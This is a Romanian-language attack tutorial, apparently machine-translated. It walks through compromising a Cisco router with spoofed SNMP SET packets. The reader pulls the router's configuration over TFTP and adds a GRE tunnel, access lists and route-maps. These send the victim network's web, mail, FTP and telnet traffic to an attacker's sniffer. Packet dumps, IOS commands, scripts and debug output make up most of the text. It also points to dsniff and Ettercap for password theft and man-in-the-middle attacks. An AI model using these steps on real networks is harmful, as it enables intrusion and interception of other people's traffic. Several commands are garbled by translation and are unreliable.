Root@whax:~# file2cable -v -i eth0 -f /root/snmp-mod file2cable - de la FX. Mulțumesc la Lamont Granquist și fyodor pentru hexdump() /root/snmp-mod - 238 octeți date brute 000f 347c 501f 0006 1bcc 00fa 0800 4500 ..4|P.........E. 00e0 0000 4000 4011 35bd c0a8 0105 d4c7 ....@ [email protected]....... 91f2 8000 00a1 00cc 052e 3081 c102 0100 .........0..... 0407 7072 6976 6174 65a3 81b2 0203 00d6 ..private....... 010b02 0201 0030 81a4 3016 0611 2b06 .......0..0...+. 0104 0109 0960 0101 0101 0283 f1b0 7802 .....`.......x. 0101 3016 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0383 f1b0 7802 0104 3016 0611 2b06 ......x...0...+. 0104 0109 0960 0101 0101 0483 f1b0 7802 .....`.......x. 0101 3019 0611 2b06 0104 0109 0960 0101 ..0...+......`.. 0101 0583 f1b0 7840 0450 b34c e330 2706 [email protected]"." 0611 2b06 0104 0109 config0...+..... 0960 0101 0101 0e83 f1b0 7802 0104 .`........x... Lungimea pachetului: 238 root@whax:~# După aceasta , serverul nostru TFTP va accepta conexiunea, a cărei Ethereal -log este prezentată în Figura 4.

Figura 4. Conexiune la un server TFTP interceptat de Ethereal.

Notați adresa IP de returnare a pachetului SNMP și cererea de scriere TFTP (pachetele 1 și 2). Pachetul ocolește regulile de acces SNMP și primim fișierul de configurare al routerului atacat prin TFTP.

Tunelul GRE

GRE (Generic Routing Encapsulation) este un protocol de tunel conceput pentru a încapsula tipuri arbitrare de pachete de nivel de rețea într-un pachet de strat de rețea. Una dintre opțiunile de utilizare a GRE este conectarea segmentelor de rețea IPX printr-un canal de comunicație care acceptă doar stratul de rețea al modelului OSI. În acest caz, va trebui să creați un tunel GRE de la un router la altul pentru a trimite pachete IPX înainte și înapoi printr-o legătură numai IP.

Cu toate acestea, vom folosi GRE în alte scopuri decât scopul său normal. Planul nostru este următorul:

Creați un tunel GRE de la routerul atacat la routerul hackerului.
Stabiliți ce trafic va trece prin tunel.
Despachetați pachetele GRE care provin de la routerul atacat și trimiteți-le către computerul atacatorului (sniffer) pentru analiză.

Router atacat

Trebuie să creăm un tunel GRE pe routerul atacat. Deoarece nu avem acces la un terminal (consolă), putem pur și simplu să edităm fișierul de configurare rezultat și apoi să-l trimitem înapoi la router folosind o cerere falsă SNMP SET. Să adăugăm următoarele rânduri la fișierul de configurare al routerului atacat: interfață tunnel0 adresa ip 192.168.10.1 255.255.255.0 sursă tunel Ethernet0/0 destinație tunel mod tunel gre ip Ele înseamnă următoarele:

Am creat o interfață tunnel0 și am specificat o adresă IP din rețea 192.168.10.x. Pentru a face schimb de date, ambele capete ale tunelului trebuie să fie pe aceeași subrețea.
Am indicat că interfața Ethernet0/0 este începutul tunelului (altfel, de unde ar începe tunelul?)
Sfârșitul tunelului este adresa IP a interfeței externe a routerului hackerului.
Ultima comandă nu este necesară, deoarece în mod implicit tunelul GRE este creat oricum (dar totuși l-am adăugat pentru a fi mai sigur).

Acum putem configura reguli de acces (liste de acces) pentru a specifica tipul de trafic care trece prin tunel și hărți de rutare (hărți de rute) necesare redirecționării traficului.

Pentru a face acest lucru, mai adăugați câteva linii la fișierul de configurare al routerului atacat:

Listă de acces 101 permite tcp orice orice eq 443 listă de acces 101 permite tcp orice eq 80 listă de acces 101 permite tcp orice orice eq 21 listă de acces 101 permite tcp orice orice eq 20 listă de acces 101 permite tcp orice eq 23 access-list 101 permit tcp any any eq 25 access-list 101 permit tcp any any eq 110 Am permis transferul de date prin protocoale SSL, HTTP, FTP, telnet, SMTP și POP3.

Acum, dacă traficul corespunde regulilor descrise mai sus, acesta va fi redirecționat în conformitate cu hărțile de rutare, a căror descriere trebuie adăugată la fișierul de configurare:

Router-map divert-traffic match IP address 101 set ip next-hop 192.168.10.2 interface Ethernet0/0 ip policy route-map divert-traffic Această intrare are următoarea semnificație:

Am definit numele hărții de rutare (divert-traffic) și apoi am folosit comanda „match” pentru a specifica că condiția de potrivire ar trebui să fie setul de reguli de acces 101 (access-list).
Am specificat adresa IP a atacatorului ca adresă de următor hop.
Am aplicat o hartă de rutare pe interfața LAN externă a mașinii atacate. Rezultatul va fi monitorizarea întregului trafic Ethernet0/0 de intrare și de ieșire.

Routerul hackerului

Configurația routerului atacatorului este puțin mai complicată, deoarece trebuie să definim două hărți de rutare - una pentru a redirecționa traficul către computerul atacatorului (sniffer) și alta pentru a trimite traficul înapoi către routerul atacat. Este foarte important să trimitem datele tunelizate înapoi către routerul atacat, astfel încât computerul atacat (Victim Client) să nu piardă conexiunea.

Să începem prin a crea un tunel GRE pe routerul atacatorului: Attacker(config)# interface tunnel0 Attacker(config-if)# ip address 192.168.10.2 255.255.255.0 Attacker(config-if)# tunnel source Ethernet0/0 Attacker(config- if)# tunel destinație Attacker(config-if)# tunel mode gre ip Attacker(config)# access-list 101 permit ip orice atacator(config)# router-map divert-to-sniffer Attacker(config-route-map) # potriviți adresa IP 101 Attacker(config-route-map)# set ip next-hop 192.168.3.5 Attacker(config-route-map)# exit Attacker(config)# interfață tunnel0 Attacker(config-if)# ip policy route- redirecționarea hărții către sniffer Aceste reguli înseamnă următoarele:

Am creat o regulă de acces care permite toate tipurile de trafic.
Am creat o hartă de rutare a redirecționării către sniffer (această hartă de rutare va redirecționa traficul tunelizat către sniffer).
Regula de acces creată este utilizată ca o condiție de potrivire.
Am specificat adresa IP a atacatorului (sniffer) ca adresă de următor hop.
Am aplicat harta de rutare la interfața tunnel0.

Este foarte important să folosim o hartă de rutare pentru a transmite date. Routerul primește date tunelizate încapsulate într-un pachet GRE, iar fără a decoda pachetul nu îl putem vizualiza. Prin redirecționarea pachetelor primite către atacator (sniffer), routerul le transmite ca pachete IP obișnuite fără încapsulare GRE.

În cele din urmă, să creăm o hartă de rutare și să o asociem cu interfața Ethernet0/0:

Attacker(config-if)# route-map divert-out Attacker(config-route-map)# potriviți adresa IP 101 Attacker(config-route-map)# set ip next-hop 192.168.10.1 Attacker(config-route-map) )# exit Attacker(config)# interface ethernet0/0 Attacker(config-if)# ip policy route-map divert-out Aceste setări suplimentare înseamnă următoarele:

După ce atacatorul (snifferul) interceptează și redirecționează datele tunelizate înapoi, harta de rutare a redirecționării va redirecționa traficul înapoi către routerul atacat.
Am aplicat harta de rutare la interfața Ethernet.

Atacatorul (sniffer)

După finalizarea configurației routerelor, trebuie să configuram computerul atacatorului (sniffer) pentru a intercepta și redirecționa datele. Este important ca computerul să fie configurat să trimită pachetele înapoi. Pentru a face acest lucru, puteți utiliza una dintre următoarele comenzi: root@whax:~# echo 1 > /proc/sys/net/ipv4/ip_forward sau root@whax:~# fragrouter -B1 Fără redirecționare, atacul nostru va provoca o denial of service (DoS) pe computerul atacat și, în consecință, își va pierde sensul.

Să începem atacul

După ce toate setările sunt finalizate, tot ce trebuie să facem este să încărcăm un nou fișier de configurare modificat pe routerul atacat. Rezultatul va fi activarea tunelului GRE și redirecționarea întregului trafic din rețeaua locală a computerului atacat către hacker (sniffer).

Trebuie să creăm o solicitare SNMP SET falsă, care va face ca routerul să descarce un nou fișier de configurare și să îl adauge la configurația curentă. Pentru a obține pachetul de bază, vom trimite din nou cererea obișnuită:

Root@whax# ./merge-router-config.pl ############################################################## ### ################# # Merge Cisco Router config - Utilizând SNMP # Hacked by muts - [email protected]#################################################################### ##### Utilizare: ./merge-copy-config.pl Asigurați-vă că este configurat un server TFTP, de preferință care rulează din /tmp! root@whax# Să interceptăm acest pachet și să schimbăm adresa IP de retur și alte câteva câmpuri din antetul pachetului, așa cum se arată în Figura 5.

Figura 5. Modificarea antetului pachetului.

După trimiterea pachetului modificat, se va crea o conexiune TFTP cu computerul nostru (Figura 6).

Figura 6. Conexiune la serverul TFTP al atacatorului.

Acordați atenție solicitării de citire TFTP (pachetul #2). Pachetul ocolește regulile de acces SNMP, ducând la descărcarea unui nou fișier de configurare modificat și adăugat la configurația curentă. Informațiile de depanare de la routerul atacat dezvăluie o mulțime de informații interesante despre progresul atacului:

*1 mar 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.Table.Table .5.1 2285992 = 80.179 .76.227 (adresa serverului TFTP) ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971: 00:32:53.971:33.971:33.971, SN3rs, 00:32:53 ridx 0 ccCopyTable .1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.12285992 ccCopyTable 28599) 2 = pwnd-router.config ccCopyTable 1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Pachet trimis prin UDP la 192.168.1.5 Rețineți că adresa serverului TFTP diferă de adresa IP a atacatorului și este trimisă ca un parametru separat. Tunelul este acum deschis și gata de utilizare și poate fi diagramat în Figura 7.

Figura 7. Tunelul GRE.

Puteți verifica funcționalitatea tunelului trimițând o comandă de depanare către routerul atacatorului:

Tunelul de depanare al atacatorului # *3 martie 06:38: Tunnel0: GRE/IP pentru a clasifica 212.199.145.242 ->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0) *3 martie 06:3: adiancy Tunnel fixup, 80.179.20.55 -> 212.199.145.242, tos=0x0 *Mar 3 06:38: Tunnel0: GRE/IP pentru a clasifica 212.199.145.242 ->80.179.20.55 (tt=0l=18x03) *3 mar 06:38: Tunnel0: reparație adiacență, 80.179.20.55 -> 212.199.145.242, tos=0x0g all Să presupunem că computerul atacat a căutat termenul „GRE Sniffing” pe Google, așa cum se arată în Figura 8.

Figura 8. Victima caută informații despre tunelurile GRE.

Ca urmare a acestor acțiuni, Ethereal pe computerul atacatorului va primi pachetele prezentate în Figura 9.

Figura 9. Sniffer arată o interogare Google pentru a căuta informații despre tunelurile GRE.

Pe lângă utilizarea unui sniffer specializat (cum ar fi dsniff) pentru a intercepta parolele cu text simplu, putem efectua atacuri sofisticate de tip man-in-the-middle asupra computerului victimei. Ettercap este un utilitar bun care, pe lângă interceptarea diferitelor tipuri de parole, vă permite să organizați un atac man-in-the-middle asupra protocoalelor criptate SSL și SSH. Filtrele Ettercap pot fi folosite pentru a controla și modifica traficul care trece prin ele. Posibilitățile sunt practic nesfârșite.

Concluzie

Uneori, unele lucruri nu sunt ceea ce par. Când aveți de-a face cu SNMP (sau cu alte protocoale bazate pe UDP), trebuie să fiți întotdeauna conștienți de colțurile și crăpăturile care, dacă sunt trecute cu vederea, ar putea duce la compromiterea rețelei.

În exemplul descris, o regulă de acces suplimentară care definește în mod explicit adresa serverului TFTP (situat pe routerul pe care l-am atacat) ar fi suficientă pentru a contracara atacul.

Scepticii ar putea întreba „De unde a știut atacatorul despre regulile de acces/nume ale grupului SNMP RW?” Aceste informații pot fi obținute prin forță brută, nu numai nume de grup, ci și adrese IP permise, iar un astfel de utilitar există deja.

Scopul articolului a fost să arate nu atât eficacitatea atacului descris, cât și posibilele lacune în protocoalele bazate pe UDP. Acest lucru nu înseamnă în niciun caz că echipamentele Cisco sunt nesigure. Configurarea corectă ar trebui să minimizeze șansele de ocolire a protecției. Erorile administratorilor de rețea sunt principalele motive pentru compromiterea echipamentelor Cisco.

Informații despre întărirea routerelor Cisco pot fi găsite la

SNMP este un protocol la nivel de aplicație conceput pentru stiva TCP/IP, deși există implementări pentru alte stive, cum ar fi IPX/SPX. Protocolul SNMP este utilizat pentru a obține informații de la dispozitivele din rețea despre starea, performanța și alte caracteristici ale acestora, care sunt stocate în baza de informații de management (MIB). Simplitatea SNMP se datorează în mare măsură simplității MIB-urilor SNMP, în special a primelor lor versiuni, MIB I și MIB II. În plus, protocolul SNMP în sine este, de asemenea, foarte simplu.

Un agent din protocolul SNMP este un element de procesare care oferă managerilor aflați la stațiile de gestionare a rețelei acces la valorile variabilelor MIB și, prin urmare, le permite să implementeze funcții de gestionare și monitorizare a dispozitivului.

Principalele operațiuni de management sunt efectuate în manager, iar agentul SNMP îndeplinește cel mai adesea un rol pasiv, transferând managerului la cerere valorile variabilelor statistice acumulate. În acest caz, dispozitivul funcționează cu o supraîncărcare minimă pentru menținerea protocolului de control. Își folosește aproape toată puterea de procesare pentru a-și îndeplini funcțiile de bază ca router, punte sau hub, iar agentul colectează statistici și valorile variabilelor de stare a dispozitivului și le raportează managerului sistemului de management.

SNMP - acesta este un protocol ca "cere raspuns", adică pentru fiecare cerere primită de la manager, agentul trebuie să trimită un răspuns. O caracteristică specială a protocolului este simplitatea sa extremă - include doar câteva comenzi.

Comanda Get-request este folosită de manager pentru a obține de la agent valoarea unui obiect după numele său.

Comanda GetNext-request este folosită de manager pentru a prelua valoarea următorului obiect (fără a specifica numele acestuia) prin scanarea secvenţială a tabelului de obiecte.

Folosind comanda Get-response, agentul SNMP trimite managerului un răspuns la comenzile Get-request sau GetNext-request.

Comanda Set este folosită de manager pentru a schimba valoarea unui obiect. Comanda Set este folosită pentru a controla efectiv dispozitivul. Agentul trebuie să înțeleagă semnificația valorilor obiectului care este utilizat pentru a gestiona dispozitivul și, pe baza acestor valori, să efectueze acțiunea de control reală - dezactivați portul, atribuiți portul unui anumit VLAN etc. comanda este, de asemenea, potrivită pentru setarea condiției în care agentul SNMP ar trebui să trimită mesajul corespunzător managerului. Pot fi definite reacții la evenimente precum inițializarea agentului, repornirea agentului, pierderea conexiunii, restabilirea conexiunii, autentificarea incorectă și pierderea celui mai apropiat router. Dacă apare oricare dintre aceste evenimente, agentul emite o întrerupere.

Comanda Trap este folosită de agent pentru a-l anunța pe manager că a avut loc o excepție.

SNMP v.2 adaugă la acest set comanda GetBulk, care permite managerului să obțină mai multe valori variabile într-o singură solicitare.